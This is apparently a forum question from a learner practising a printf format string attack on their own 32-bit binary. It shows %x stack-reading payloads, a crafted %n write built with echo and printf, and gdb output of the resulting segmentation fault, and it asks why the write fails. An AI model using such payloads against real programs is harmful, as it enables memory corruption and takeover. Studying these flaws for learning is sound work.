I am trying to learn more about printf vulnerability. I understand the theory but I am unable to put it into practice.
TL;DR
All my attempts to write a single byte into memory result in a Segmentation fault.
What is the most likely reason for the failure? My guess is that it may be some sort of protection in modern compilers/OS (I am running that on 64 bit Ubuntu Xenial), but I don't know much about it.
Details
I am able to read stack. I found that that the call I am trying to exploit puts 6*4 bytes in front of my input:
Your choice: AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x
You entered: AAAA.00000001.00000005.f76c7d60.0000000a.09787008.ff9c9e48.41414141
I disassembled the binary and found the memory location(s) I want to change. I tried various addresses, both code and data with the same result. For instance, the address of the string Your choice: is 0x0804b795
.
$ gdb -batch -ex "x/s 0x0804b795" ./a.out
0x804b795: "Your choice: "
I am able to write that address to the payload:
$ echo "the binary ignores the 1st line" > ./payload
$ echo $(printf "\x95\xb7\x04\x08").%08x.%08x.%08x.%08x.%08x.%08x.%08x >> ./payload
$ cat payload - | ./a.out
Your choice: You entered: ?.00000001.00000005.f76f5d60.0000000a.09844008.ff8ff1d8.0804b795
Then I replace the last %08x
with %n
to write into that address. The number of printed chars would be 4 (for the address) + 6 * 8 (padded %x) + 7 (dots) = 59 which puts the value to be written in ASCII range; 59 stands for semicolon - a suitable character to write into a string.
$ echo "the binary ignores the 1st line" > ./payload
$ echo $(printf "\x95\xb7\x04\x08").%08x.%08x.%08x.%08x.%08x.%08x.%n >> ./payload
$ cat payload | ./a.out
To my best knowledge that should work and I was hoping to see ;our choice prompt on next iteration but I am getting
Your choice: You entered:
Segmentation fault
To confirm:
$ gdb a.out
(gdb) run < payload
Your choice: You entered:
Program received signal SIGSEGV, Segmentation fault.
0xf7e58dff in vfprintf () from /lib32/libc.so.6
(gdb) bt
#0 0xf7e58dff in vfprintf () from /lib32/libc.so.6
#1 0xf7e5df66 in printf () from /lib32/libc.so.6
#2 0x080487b4 in getInput ()
#3 0x0804b206 in programMain ()
#4 0x0804b3b0 in main ()
What am I missing? What else can I check?